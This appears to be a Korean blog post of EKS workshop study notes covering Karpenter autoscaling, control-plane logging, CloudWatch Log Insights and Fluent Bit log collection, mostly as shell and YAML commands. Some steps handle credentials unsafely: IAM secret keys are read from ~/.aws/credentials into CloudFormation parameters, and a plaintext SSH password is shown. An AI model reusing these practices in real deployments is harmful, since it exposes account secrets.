---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
  name: ${CLUSTER_NAME}
  region: ${AWS_DEFAULT_REGION}
  version: "${K8S_VERSION}"
  tags:
    karpenter.sh/discovery: ${CLUSTER_NAME}

iam:
  withOIDC: true
  serviceAccounts:
  - metadata:
      name: karpenter
      namespace: "${KARPENTER_NAMESPACE}"
    roleName: ${CLUSTER_NAME}-karpenter
    attachPolicyARNs:
    - arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:policy/KarpenterControllerPolicy-${CLUSTER_NAME}
    roleOnly: true

iamIdentityMappings:
- arn: "arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/KarpenterNodeRole-${CLUSTER_NAME}"
  username: system:node:{{EC2PrivateDNSName}}
  groups:
  - system:bootstrappers
  - system:nodes

managedNodeGroups:
- instanceType: m5.large
  amiFamily: AmazonLinux2
  name: ${CLUSTER_NAME}-ng
  desiredCapacity: 2
  minSize: 1
  maxSize: 10
  iam:
    withAddonPolicies:
      externalDNS: true
EOF

# eks 배포 확인
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
eksctl get addon --cluster $CLUSTER_NAME

# default 네임스페이스 적용
kubectl ns default


# 노드 정보 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=<자신의 도메인>
echo "export MyDomain=<자신의 도메인>" >> /etc/profile
MyDomain=sdndev.link
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"


# [터미널1] eks-node-viewer
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

# k8s 확인
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -n kube-system -owide
kubectl describe cm -n kube-system aws-auth

# Karpenter 설치를 위한 변수 설정 및 확인
export CLUSTER_ENDPOINT="$(aws eks describe-cluster --name "${CLUSTER_NAME}" --query "cluster.endpoint" --output text)"
export KARPENTER_IAM_ROLE_ARN="arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/${CLUSTER_NAME}-karpenter"
echo "${CLUSTER_ENDPOINT} ${KARPENTER_IAM_ROLE_ARN}"

# EC2 Spot Fleet의 service-linked-role 생성 확인 : 만들어있는것을 확인하는 거라 아래 에러 출력이 정상!
# If the role has already been successfully created, you will see:
# An error occurred (InvalidInput) when calling the CreateServiceLinkedRole operation: Service role name AWSServiceRoleForEC2Spot has been taken in this account, please try a different suffix.
aws iam create-service-linked-role --aws-service-name spot.amazonaws.com || true

# docker logout : Logout of docker to perform an unauthenticated pull against the public ECR
docker logout public.ecr.aws

# helm registry logout
helm registry logout public.ecr.aws

# karpenter 설치
helm install karpenter oci://public.ecr.aws/karpenter/karpenter --version "${KARPENTER_VERSION}" --namespace "${KARPENTER_NAMESPACE}" --create-namespace \
  --set "serviceAccount.annotations.eks\.amazonaws\.com/role-arn=${KARPENTER_IAM_ROLE_ARN}" \
  --set "settings.clusterName=${CLUSTER_NAME}" \
  --set "settings.interruptionQueue=${CLUSTER_NAME}" \
  --set controller.resources.requests.cpu=1 \
  --set controller.resources.requests.memory=1Gi \
  --set controller.resources.limits.cpu=1 \
  --set controller.resources.limits.memory=1Gi \
  --wait
 
# 확인
kubectl get-all -n $KARPENTER_NAMESPACE
kubectl get all -n $KARPENTER_NAMESPACE
kubectl get crd | grep karpenter

 

그 다음 NodePool (참고: 링크)을 설치하도록 하자.

cat <<EOF | envsubst | kubectl apply -f -
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    spec:
      requirements:
        - key: kubernetes.io/arch
          operator: In
          values: ["amd64"]
        - key: kubernetes.io/os
          operator: In
          values: ["linux"]
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: ["c", "m", "r"]
        - key: karpenter.k8s.aws/instance-generation
          operator: Gt
          values: ["2"]
      nodeClassRef:
        apiVersion: karpenter.k8s.aws/v1beta1
        kind: EC2NodeClass
        name: default
  limits:
    cpu: 1000
  disruption:
    consolidationPolicy: WhenUnderutilized
    expireAfter: 720h # 30 * 24h = 720h
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: AL2 # Amazon Linux 2
  role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
  subnetSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  amiSelectorTerms:
    - id: "${ARM_AMI_ID}"
    - id: "${AMD_AMI_ID}"
#   - id: "${GPU_AMI_ID}" # <- GPU Optimized AMD AMI 
#   - name: "amazon-eks-node-${K8S_VERSION}-*" # <- automatically upgrade when a new AL2 EKS Optimized AMI is released. This is unsafe for production workloads. Validate AMIs in lower environments before deploying them to production.
EOF

# 확인
kubectl get nodepool,ec2nodeclass

 

이제 준비가 완료되었으므로 배포에 대해 스케일업을 시켜보도록 하자.

# pause 파드 1개에 CPU 1개 최소 보장 할당
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 0
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      terminationGracePeriodSeconds: 0
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.7
          resources:
            requests:
              cpu: 1
EOF

# Scale up
kubectl get pod
kubectl scale deployment inflate --replicas 5
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller | jq '.'

 

스케일업을 실행하게 되면 pod수가 많아지는 것에 따라

 

새로운 노드가 생성되어짐을 확인할 수 있다. (확실히 이전 실습에서보다 빠르다)

 

스케일 다운 또한 실습해보자.

kubectl delete deployment inflate && date
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller

 

 

노드 개수가 다시 2개로 줄어든 것을 확인할 수 있었다.

 

그 다음에는 Disruption (구 Consolidation)을 테스트해보자. 중단 가능한 노드를 발견하고 필요할 대 교체를 시작하는 것으로, NodePool 또는 EC2NodeClass를 통해 구성 변경 사항을 자동으로 감지하여 필요한 변경 사항을 적용한다. 따라서 EKS를 보다 비용 효율적인 방식으로 사용할 수 있다는 장점을 가져다준다.

 

 

다음 예제를 통해 replica를 5개로 두었던 파드에 대해 1개로 변경하면서 최적 노드를 새로 만드는 실습을 수행한다.

# 기존 nodepool 삭제
kubectl delete nodepool,ec2nodeclass default

# v0.34.0 부터 featureGates 에 spotToSpotConsolidation 활성화로 사용 가능
helm upgrade karpenter -n kube-system oci://public.ecr.aws/karpenter/karpenter --reuse-values --set settings.featureGates.spotToSpotConsolidation=true

# Create a Karpenter NodePool and EC2NodeClass
cat <<EOF > nodepool.yaml
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    metadata:
      labels:
        intent: apps
    spec:
      nodeClassRef:
        name: default
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: ["c","m","r"]
        - key: karpenter.k8s.aws/instance-size
          operator: NotIn
          values: ["nano","micro","small","medium"]
        - key: karpenter.k8s.aws/instance-hypervisor
          operator: In
          values: ["nitro"]
  limits:
    cpu: 100
    memory: 100Gi
  disruption:
    consolidationPolicy: WhenUnderutilized
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: Bottlerocket
  subnetSelectorTerms:          
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
  tags:
    Name: karpenter.sh/nodepool/default
    IntentLabel: "apps"
EOF
kubectl apply -f nodepool.yaml

# Deploy a sample workload
cat <<EOF > inflate.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 5
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      nodeSelector:
        intent: apps
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.2
          resources:
            requests:
              cpu: 1
              memory: 1.5Gi
EOF
kubectl apply -f inflate.yaml

#
watch -d "kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type"
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type

# Scale in a sample workload to observe consolidation
# To invoke a Karpenter consolidation event scale, inflate the deployment to 1. Run the following command:
kubectl scale --replicas=1 deployment/inflate
kubectl -n kube-system logs -l app.kubernetes.io/name=karpenter --all-containers=true -f --tail=20
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type
kubectl get node --label-columns=eks.amazonaws.com/capacityType,karpenter.sh/capacity-type
kubectl get node --label-columns=node.kubernetes.io/instance-type,topology.kubernetes.io/zone

# Use kubectl get nodeclaims to list all objects of type NodeClaim and then describe the NodeClaim Kubernetes resource
# using kubectl get nodeclaim/<claim-name> -o yaml. 
# In the NodeClaim .spec.requirements, you can also see the 15 instance types passed to the Amazon EC2 Fleet API:
kubectl get nodeclaims 
NAME            TYPE        ZONE              NODE                                                READY   AGE
default-w52c4   c6g.large   ap-northeast-2d   ip-192-168-77-172.ap-northeast-2.compute.internal   True    3m8s

kubectl get nodeclaims -o yaml | kubectl neat | yh
....
  spec: 
    nodeClassRef: 
      name: default
    requirements: 
    - key: karpenter.sh/nodepool
      operator: In
      values: 
      - default
    - key: node.kubernetes.io/instance-type
      operator: In
      values: 
      - c6g.large
      - c6gd.large
      - c6gn.large
      - c6id.large
      - c6in.large
      - c7g.large
      - c7i.large
      - m6g.large
      - m6gd.large
      - m6i.large
      - m7g.large
      - m7i-flex.large
      - m7i.large
      - r6g.large
      - r7g.large

# 삭제
kubectl delete deployment inflate
kubectl delete nodepool,ec2nodeclass default

 

잘 실행되었고 아래와 같이 스크린샷을 찍어보았다.

살펴보면 이전 c6gd.large에서 m6g.large로 변경된 것을 확인할 수 있다. 메모리가 2배로 되어 있어 replica를 1개로 합치면 1.5g x 5 = 7.5g가 되고 따라서 메모리 8기가까지 수용 가능한 m6g.large 노드에 최적화시켜 할당한 것으로 분석된다.

 

실습을 완료한 이후에는 리소스를 삭제하고 종료하도록 하자.

# Karpenter IAM Role 생성한 CloudFormation 삭제
aws cloudformation delete-stack --stack-name "Karpenter-${CLUSTER_NAME}"

# EC2 Launch Template 삭제
aws ec2 describe-launch-templates --filters "Name=tag:karpenter.k8s.aws/cluster,Values=${CLUSTER_NAME}" |
    jq -r ".LaunchTemplates[].LaunchTemplateName" |
    xargs -I{} aws ec2 delete-launch-template --launch-template-name {}

# 클러스터 삭제
eksctl delete cluster --name "${CLUSTER_NAME}"

# 위 삭제 완료 후 아래 삭제
aws cloudformation delete-stack --stack-name myeks2

 

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. 실습 환경

먼저 이번 실습을 위해서는 2가지가 전제가 되어야 한다. 물론 (실습을 위한) 도메인을 구입하였다는 가정에서 이야기한다. 본인의 경우 블로그로 사용하는 sdndev.net 도메인으로 실습하려다가 이 도메인에 대한 SSL 인증서와 ACM에서 발급한 인증서와의 충돌이 생겨 실습이 잘 되지 않았다. 이후 sdndev.link 도메인을 새로 구입하여 실습을 진행하던 도중, Route 53에서 sdndev.net 및 sdndev.link 모두 조회가 되어 실습이 잘 안되었다. ACM의 경우에도 사용하지 않는 인증서를 삭제할 필요가 있으며, 하위 도메인 모두를 허용하는 * 인증서가 아닌 것을 사용해도 실습은 가능하나 아래 설명하는 nginx. prometheus. grafana. 도메인을 접속할 때 SSL 오류를 만난다는 점을 유의하도록 하자. 이 부분이 제대로 되지 않을 때는 ALB가 생성될 때 타겟 그룹 바인딩이 생성되지 않거나 80번 포트에 대한 리다이렉션만 생성되고 443번 포트에 대한 리다이렉션이 생성되지 않는 등 여러 오류가 발생할 수 있음을 유의하자.

 

1. Route 53: 외부 도메인에 대한 Zone 설정

 

2. Certificate Manager (ACM): 해당 도메인에 대한 하위 도메인 모두를 허용하는 * 인증서

 

다음과 같이 명령어로 실행하여 배포를 진행하였다.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick3.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick3.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

설치한 환경을 간단히 확인한 다음 3개 노드에 대한 IP 주소를 가져와 환경 변수에 저장해두자.

kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
eksctl get iamidentitymapping --cluster myeks
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속
for node in $N1 $N2 $N3; do ssh ec2-user@$node hostname; done

 

이후 AWS LB/ExternalDNS/EBS, kube-ops-view 설치 단계를 진행한다.

# ExternalDNS
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDomain=sdndev.link
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# EBS csi driver 설치 확인
eksctl get addon --cluster ${CLUSTER_NAME}
kubectl get pod -n kube-system -l 'app in (ebs-csi-controller,ebs-csi-node)'
kubectl get csinodes

# gp3 스토리지 클래스 생성
kubectl get sc
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml
kubectl get sc

 

잘 실행되어 kube-ops-view도 확인이 가능하다.

또한 아래 명령어를 실행하여 설치가 잘 되었는지 확인해보도록 하자.

# 이미지 정보 확인
kubectl get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" | tr -s '[[:space:]]' '\n' | sort | uniq -c

# eksctl 설치/업데이트 addon 확인
eksctl get addon --cluster $CLUSTER_NAME

# IRSA 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

# EC2 Instance Profile에 IAM Role 정보 확인
cat myeks.yaml | grep managedNodeGroups -A20 | yh

실행 결과를 통해 이미지 정보 뿐만 아니라 eksctl로 설치된 addon에 coredns, aws-ebs-csi-driver, kube-proxy, vpc-cni가 잘 설치되었음을 확인할 수 있었다. aws-load-balancer-controller는 IRSA를 확인하였고 IAM에는 아래 스크린샷과 같이 false로 되어있는 상황이다. 스터디 환경이기에 이렇게 구성하였으나 실제 사용시에는 보안에 염두할 필요가 있겠다.

1. Logging in EKS

먼저 EKS의 경우 CloudWatch에서 Container Insights 메뉴를 통해 기본적인 모니터링 요약 정보 등을 확인할 수 있다. 또한 디폴트로 컨트롤 플레인에 대한 EKS 로깅이 비활성화되어 있는데 이를 활성화시킨 후 수집한 로그를 CloudWatch에서 볼 수도 있다. 후자에 대한 부분을 확인해보았다.

CloudWatch에서 Container Insights 메뉴를 선택하여 확인이 가능하다.

EKS 클러스터를 선택한 후, Observability를 선택한 다음에 하단으로 가면 Cloudwatch 탭을 확인할 수 있다. 컨트롤 플레인 로깅이 off로 되어 있는 것을 확인할 수 있다.

위 AWS 콘솔 화면에서 "Manage logging"을 클릭하여 활성화할 수도 있으나 여기에서는 아래 명령어를 통해 활성화시켜보도록 하자.

# 모든 로깅 활성화
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME \
    --logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'

# 로그 그룹 확인
aws logs describe-log-groups | jq

# 로그 tail 확인 : aws logs tail help
aws logs tail /aws/eks/$CLUSTER_NAME/cluster | more

# 신규 로그를 바로 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --follow

# 필터 패턴
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --filter-pattern <필터 패턴>

# 로그 스트림이름
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix <로그 스트림 prefix> --follow
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix kube-controller-manager --follow
kubectl scale deployment -n kube-system coredns --replicas=1
kubectl scale deployment -n kube-system coredns --replicas=2

# 시간 지정: 1초(s) 1분(m) 1시간(h) 하루(d) 한주(w)
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m

# 짧게 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m --format short

AWS 콘솔에서 Control plane logging이 모두 활성화되어 있는 것을 확인할 수 있다. 또한 로그를 출력하면 내용이 많은데 이 중 kube-controller-manager에 대한 prefix를 설정한 다음 coredns replica수를 1개로 바꾸고 다시 2개로 변경해보면 로그가 필터링되어 나타나는 것을 확인할 수 있다.

이번에는 CloudWatch에서 "Log Insights"를 선택해보다. 로그 그룹에서 myeks 관련된 내용이 나타나는 것을 볼 수 있다. "/aws/eks/myeks/cluster"를 선택한 다음 아래 쿼리들을 실행해보자.

# EC2 Instance가 NodeNotReady 상태인 로그 검색
fields @timestamp, @message
| filter @message like /NodeNotReady/
| sort @timestamp desc

# kube-apiserver-audit 로그에서 userAgent 정렬해서 아래 4개 필드 정보 검색
fields userAgent, requestURI, @timestamp, @message
| filter @logStream ~= "kube-apiserver-audit"
| stats count(userAgent) as count by userAgent
| sort count desc

#
fields @timestamp, @message
| filter @logStream ~= "kube-scheduler"
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= "authenticator"
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= "kube-controller-manager"
| sort @timestamp desc

 

마지막 "kube-controller-manager" 쿼리를 실행하니 방금 전 Replica수를 변경하였던 활동과 관련된 로그를 바로 확인할 수 있었다.

 

꼭 AWS 콘솔에서 확인 가능한 것은 아니다. 아래와 같은 명령어를 통해 CLI에서도 확인 가능하다.

# CloudWatch Log Insight Query
aws logs get-query-results --query-id $(aws logs start-query \
--log-group-name '/aws/eks/myeks/cluster' \
--start-time `date -d "-1 hours" +%s` \
--end-time `date +%s` \
--query-string 'fields @timestamp, @message | filter @logStream ~= "kube-scheduler" | sort @timestamp desc' \
| jq --raw-output '.queryId')

관련 실습을 마쳤으면 로깅을 다시 비활성화하고 로그 그룹을 삭제하도록 하자.

# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve

# 로그 그룹 삭제
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster

 

그리고 파드 로깅 관련, nginx 파드를 helm으로 배포해보았다. 인증서 ARN을 지정하지 않아도 사용 가능하다던데, 본인의 경우 인증서 ARN을 지정해야 "myeks-ingress-alb"와 같은 ALB 로드밸런서가 생성이 되니 참고하도록 하자.

# NGINX 웹서버 배포
helm repo add bitnami https://charts.bitnami.com/bitnami

# 사용 리전의 인증서 ARN 확인
CERT_ARN=$(aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text)
echo $CERT_ARN

# 도메인 확인
echo $MyDomain

# 파라미터 파일 생성 : 인증서 ARN 지정하지 않아도 가능! 혹시 https 리스너 설정 안 될 경우 인증서 설정 추가(주석 제거)해서 배포 할 것
cat <<EOT > nginx-values.yaml
service:
  type: NodePort
  
networkPolicy:
  enabled: false

ingress:
  enabled: true
  ingressClassName: alb
  hostname: nginx.$MyDomain
  pathType: Prefix
  path: /
  annotations: 
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    #alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/load-balancer-name: $CLUSTER_NAME-ingress-alb
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT
cat nginx-values.yaml | yh

# 배포
helm install nginx bitnami/nginx --version 15.14.0 -f nginx-values.yaml

# 확인
kubectl get ingress,deploy,svc,ep nginx
kubectl get targetgroupbindings # ALB TG 확인

# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

## 외부에서는 접속이 잘되나, myeks EC2에서 url 접속이 잘 되지 않을 경우 : 이전 aws DNS cache 영향(추정)
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @192.168.0.2
dig +short nginx.$MyDomain @1.1.1.1
dig +short nginx.$MyDomain @8.8.8.8
cat /etc/resolv.conf
sed -i "s/^nameserver 192.168.0.2/nameserver 1.1.1.1/g" /etc/resolv.conf
cat /etc/resolv.conf
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @8.8.8.8
dig +short nginx.$MyDomain @192.168.0.2
curl -s https://nginx.$MyDomain
----

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done

# (참고) 삭제 시
helm uninstall nginx

 

이러한 컨테이너 로그 메시지는 해당 파드에서 access 및 error 로그를 이미 stdout 및 stderr로 리다이렉션했기에 확인이 가능하다는 점을 참고하자.

2. Container Insights metrics in Amazon CloudWatch & Fluent Bit (Logs)

Fluent Bit 컨테이너를 데몬셋으로 동작시키고, 아래 3가지 종류 로그를 CloudWatch Logs로 전송시켜보자.

  1. /aws/containerinsights/Cluster_Name/application : 로그 소스(All log files in /var/log/containers), 각 컨테이너/파드 로그
  2. /aws/containerinsights/Cluster_Name/host : 로그 소스(Logs from /var/log/dmesg, /var/log/secure, and /var/log/messages), 노드(호스트) 로그
  3. /aws/containerinsights/Cluster_Name/dataplane : 로그 소스(/var/log/journal for kubelet.service, kubeproxy.service, and docker.service), 쿠버네티스 데이터플레인 로그

먼저 로그 위치를 확인해보자.

# Application 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/containers
#ssh ec2-user@$N1 sudo ls -al /var/log/containers
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/containers; echo; done
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo ls -al /var/log/containers; echo; done

# 개별 파드 application 로그 확인 : 아래 각자 디렉터리 경로는 다름
ssh ec2-user@$N2 sudo tail -f /var/log/pods/default_nginx-7f7b5d655f-5sb7x_bb8303ff-5e2c-4b7e-98b4-e9d6695a840d/nginx/0.log


# Host 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/ -L 1
#ssh ec2-user@$N1 sudo ls -la /var/log/
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/ -L 1; echo; done
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo ls -la /var/log/; echo; done

# Host 로그 확인
#ssh ec2-user@$N1 sudo tail /var/log/dmesg
#ssh ec2-user@$N1 sudo tail /var/log/secure
#ssh ec2-user@$N1 sudo tail /var/log/messages
for log in dmesg secure messages; do echo ">>>>> Node1: /var/log/$log <<<<<"; ssh ec2-user@$N1 sudo tail /var/log/$log; echo; done
for log in dmesg secure messages; do echo ">>>>> Node2: /var/log/$log <<<<<"; ssh ec2-user@$N2 sudo tail /var/log/$log; echo; done
for log in dmesg secure messages; do echo ">>>>> Node3: /var/log/$log <<<<<"; ssh ec2-user@$N3 sudo tail /var/log/$log; echo; done

# dataplane 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/journal -L 1
#ssh ec2-user@$N1 sudo ls -la /var/log/journal
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/journal -L 1; echo; done

# 저널 로그 확인 - 링크
ssh ec2-user@$N3 sudo journalctl -x -n 200
ssh ec2-user@$N3 sudo journalctl -f

 

Application 로그 확인 결과

 

호스트 로그 확인 결과

 

저널 로그 확인 결과

 

그러면 이제 CloudWatch Container observability를 설치해보자.

 

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability
aws eks list-addons --cluster-name myeks --output table

# 설치 확인
kubectl get-all -n amazon-cloudwatch
kubectl get ds,pod,cm,sa,amazoncloudwatchagent -n amazon-cloudwatch
kubectl describe clusterrole cloudwatch-agent-role amazon-cloudwatch-observability-manager-role    # 클러스터롤 확인
kubectl describe clusterrolebindings cloudwatch-agent-role-binding amazon-cloudwatch-observability-manager-rolebinding  # 클러스터롤 바인딩 확인
kubectl -n amazon-cloudwatch logs -l app.kubernetes.io/component=amazon-cloudwatch-agent -f # 파드 로그 확인
kubectl -n amazon-cloudwatch logs -l k8s-app=fluent-bit -f    # 파드 로그 확인

# cloudwatch-agent 설정 확인
kubectl describe cm cloudwatch-agent-agent -n amazon-cloudwatch

#Fluent bit 파드 수집하는 방법 : Volumes에 HostPath라 나와있다. (보안상 조금 더 안전한 방법이 있을까?)
kubectl describe -n amazon-cloudwatch ds cloudwatch-agent
...
  Volumes:
   ...
   rootfs:
    Type:          HostPath (bare host directory volume)
    Path:          /
    HostPathType:  

...
ssh ec2-user@$N1 sudo tree /dev/disk
...


# Fluent Bit 로그 INPUT/FILTER/OUTPUT 설정 확인 - 링크
## 설정 부분 구성 : application-log.conf , dataplane-log.conf , fluent-bit.conf , host-log.conf , parsers.conf
